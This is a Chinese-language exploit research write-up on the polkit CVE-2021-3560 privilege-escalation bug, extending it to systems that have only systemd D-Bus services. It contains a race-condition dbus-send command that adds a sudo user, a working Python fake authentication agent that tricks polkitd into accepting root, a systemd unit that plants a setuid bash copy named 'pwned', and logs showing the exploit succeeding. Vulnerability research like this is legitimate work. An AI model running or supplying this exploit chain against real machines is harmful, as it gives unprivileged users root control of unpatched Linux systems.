PolicyKit CVE-2021-3560是PolicyKit没有正确的处理错误,导致在发送D-Bus信息后立刻关闭程序后,PolicyKit错误的认为信息的发送者为root用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
以上命令的作用是在发送D-Bus信息后,在一个极短的时间差后利用kill命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有sudo权限的用户。
根据漏洞作者的描述和利用方法可知,此漏洞成功利用需要三个组件:
Account Daemon——此服务用来添加用户;
Gnome Control Center——此服务会用org.freedesktop.policykit.imply修饰Account Daemon的方法;
PolicyKit ≥ 0.113。
其中Account Daemon和Gnomo Control Center在非桌面版的系统、Red Hat Linux等系统中并不存在,这无疑减小了漏洞的利用覆盖面。
但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在PolicyKit和一些基础D-Bus服务(比如org.freedesktop.systemd1)的系统中仍然可以成功利用。
在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及PolicyKit的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
// ...
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
// ...
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
// ...
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE);
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE;
return ret;
}
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
PolkitImplicitAuthorization *out_implicit_authorization,
gboolean checking_imply,
GError **error)
{
// ...
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
/* special case: uid 0, root, is _always_ authorized for anything */
if (identity_is_root_user (user_of_subject)) {
result = polkit_authorization_result_new (TRUE, FALSE, NULL);
goto out;
}
// ...
if (!checking_imply) {
actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);
for (l = actions; l != NULL; l = l->next) {
// ...
imply_action_id = polkit_action_description_get_action_id (imply_ad);
implied_result = check_authorization_sync (authority, caller, subject,
imply_action_id,
details, flags,
&implied_implicit_authorization, TRUE,
&implied_error);
if (implied_result != NULL) {
if (polkit_authorization_result_get_is_authorized (implied_result)) {
g_debug (" is authorized (implied by %s)", imply_action_id);
result = implied_result;
polkit_backend_session_monitor_get_user_for_subject
check_authorization_sync
-> polkit_backend_session_monitor_get_user_for_subject
-> return uid = 0
check_authorization_sync
-> check_authorization_sync
-> polkit_backend_session_monitor_get_user_for_subject
-> return uid = 0
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
"http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">
<policyconfig>
<vendor>The systemd Project</vendor>
<vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url>
<action id="org.freedesktop.systemd1.manage-unit-files">
<description gettext-domain="systemd">Manage system service or unit files</description>
<message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message>
<defaults>
<allow_any>auth_admin</allow_any>
<allow_inactive>auth_admin</allow_inactive>
<allow_active>auth_admin_keep</allow_active>
</defaults>
<annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate>
</action>
<action id="org.freedesktop.systemd1.reload-daemon">
<description gettext-domain="systemd">Reload the systemd state</description>
<message gettext-domain="systemd">Authentication is required to reload the systemd state.</message>
<defaults>
<allow_any>auth_admin</allow_any>
<allow_inactive>auth_admin</allow_inactive>
<allow_active>auth_admin_keep</allow_active>
</defaults>
</action>
</policyconfig>
polkit_system_bus_name_get_creds_sync
polkit_backend_session_monitor_get_user_for_subject
check_authorization_sync
static gboolean
polkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority *authority,
PolkitSubject *caller,
uid_t uid,
const gchar *cookie,
PolkitIdentity *identity,
GError **error)
{
// ...
identity_str = polkit_identity_to_string (identity);
g_debug ("In authentication_agent_response for cookie '%s' and identity %s",
cookie,
identity_str);
user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
caller, NULL,
error);
/* only uid 0 is allowed to invoke this method */
if (!identity_is_root_user (user_of_caller)) {
goto out;
}
// ...
import os
import dbus
import dbus.service
import threading
from gi.repository import GLib
from dbus.mainloop.glib import DBusGMainLoop
class PolkitAuthenticationAgent(dbus.service.Object):
def __init__(self):
bus = dbus.SystemBus(mainloop=DBusGMainLoop())
self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'
self._bus = bus
with open("/proc/self/stat") as stat:
tokens = stat.readline().split(" ")
start_time = tokens[21]
self._subject = ('unix-process',
{'pid': dbus.types.UInt32(os.getpid()),
'start-time': dbus.types.UInt64(int(start_time))})
bus.exit_on_disconnect = False
dbus.service.Object.__init__(self, bus, self._object_path)
self._loop = GLib.MainLoop()
self.register()
print('[*] D-Bus message loop now running ...')
self._loop.run()
def register(self):
proxy = self._bus.get_object(
'org.freedesktop.PolicyKit1',
'/org/freedesktop/PolicyKit1/Authority')
authority = dbus.Interface(
proxy,
dbus_interface='org.freedesktop.PolicyKit1.Authority')
authority.RegisterAuthenticationAgent(self._subject,
"en_US.UTF-8",
self._object_path)
print('[+] PolicyKit authentication agent registered successfully')
self._authority = authority
@dbus.service.method(
dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
def BeginAuthentication(self, action_id, message, icon_name, details,
cookie, identities, _msg):
print('[*] Received authentication request')
print('[*] Action ID: {}'.format(action_id))
print('[*] Cookie: {}'.format(cookie))
ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
'/org/freedesktop/PolicyKit1/Authority',
'org.freedesktop.PolicyKit1.Authority',
'AuthenticationAgentResponse2')
message.append(dbus.types.UInt32(os.getuid()))
message.append(cookie)
message.append(identities[0])
self._bus.send_message(message)
def main():
threading.Thread(target=PolkitAuthenticationAgent).start()
if __name__ == '__main__':
main()
def handler(*args):
print('[*] Method response: {}'.format(str(args)))
def set_timezone():
print('[*] Starting SetTimezone ...')
bus = dbus.SystemBus(mainloop=DBusGMainLoop())
obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')
interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')
interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)
def main():
threading.Thread(target=PolkitAuthenticationAgent).start()
time.sleep(1)
threading.Thread(target=set_timezone).start()
[email protected]:~$ python3 agent.py
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Received authentication request
[*] Action ID: org.freedesktop.timedate1.set-timezone
[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d
[*] Method response: (DBusException(dbus.String('Permission denied')),)
** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root
** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.
** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0
** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cb
subject system-bus-name::1.6846
action_id org.freedesktop.timedate1.set-timezone
was_dismissed 0
authentication_success 0
00:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)
self._bus.send_message(message)
os.kill(os.getpid(), 9)
** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1
** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)
01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: error
Error performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)
(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name
** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cb
subject system-bus-name::1.6921
action_id org.freedesktop.timedate1.set-timezone
was_dismissed 0
authentication_success 0
static void
authentication_agent_begin_cb (GDBusProxy *proxy,
GAsyncResult *res,
gpointer user_data)
{
error = NULL;
result = g_dbus_proxy_call_finish (proxy, res, &error);
if (result == NULL)
{
g_printerr ("Error performing authentication: %s (%s %d)\n",
error->message,
g_quark_to_string (error->domain),
error->code);
if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)
was_dismissed = TRUE;
g_error_free (error);
}
else
{
g_variant_unref (result);
gained_authorization = session->is_authenticated;
g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);
}
Finishes an operation started with g_dbus_proxy_call().
You can then call g_dbus_proxy_call_finish() to get the result of the operation.
Message recipient disconnected from message bus without replying
method call sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthentication
method call sender=:1.3301 -> destination=:1.3174 serial=6 member=AuthenticationAgentResponse2
method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371
method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication
method call sender=:1.3301 -> destination=:1.3174 serial=6 member=AuthenticationAgentResponse2
error sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply
@dbus.service.method(
dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
def BeginAuthentication(self, action_id, message, icon_name, details,
cookie, identities, _msg):
print('[*] Received authentication request')
print('[*] Action ID: {}'.format(action_id))
print('[*] Cookie: {}'.format(cookie))
def send(msg):
self._bus.send_message(msg)
ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
'/org/freedesktop/PolicyKit1/Authority',
'org.freedesktop.PolicyKit1.Authority',
'AuthenticationAgentResponse2')
message.append(dbus.types.UInt32(os.getuid()))
message.append(cookie)
message.append(identities[0])
threading.Thread(target=send, args=(message, )).start()
threading.Thread(target=send, args=(ret_message, )).start()
os.kill(os.getpid(), 9)
** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root
** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1
** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1
(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name
** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cb
subject system-bus-name::1.7428
action_id org.freedesktop.timedate1.set-timezone
was_dismissed 0
authentication_success 1
$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1
...
interface org.freedesktop.systemd1.Manager {
...
StartUnit(in s arg_0,
in s arg_1,
out o arg_2);
...
EnableUnitFiles(in as arg_0,
in b arg_1,
in b arg_2,
out b arg_3,
out a(sss) arg_4);
...
}
...
[Unit]
AllowIsolate=no
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'
def enable_unit_files():
print('[*] Starting EnableUnitFiles ...')
bus = dbus.SystemBus(mainloop=DBusGMainLoop())
obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')
interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')
interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)
[email protected]:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)
static void
polkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
// ...
if (polkit_authorization_result_get_is_challenge (result) &&
(flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION))
{
AuthenticationAgent *agent;
agent = get_authentication_agent_for_subject (interactive_authority, subject);
if (agent != NULL)
{
g_object_unref (result);
result = NULL;
g_debug (" using authentication agent for challenge");
authentication_agent_initiate_challenge (agent,
// ...
goto out;
}
}
https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4
https://gitlab.freedesktop.org/RicterZ/dbus-python
PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> None\n"
"Set allow interactive authorization flag to this message.\n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{
int value;
if (!PyArg_ParseTuple(args, "i", &value)) return NULL;
if (!self->msg) return DBusPy_RaiseUnusableMessage();
dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE);
Py_RETURN_NONE;
}
同时这项修改已经提交Merge Request了,希望之后会被合并。
def method_call_install_service():
time.sleep(0.1)
print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))
bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())
message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')
message.set_allow_interactive_authorization(True)
message.set_no_reply(True)
message.append(['/tmp/{}'.format(FILENAME)])
message.append(True)
message.append(True)
bus2.send_message(message)
https://github.com/RicterZ/CVE-2021-3560-Authentication-Agent
https://github.com/WinMin/CVE-2021-3560
https://dbus.freedesktop.org/doc/dbus-python/
https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html
https://libsoup.org/gio/GDBusProxy.html
https://www.freedesktop.org/software/polkit/docs/latest/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/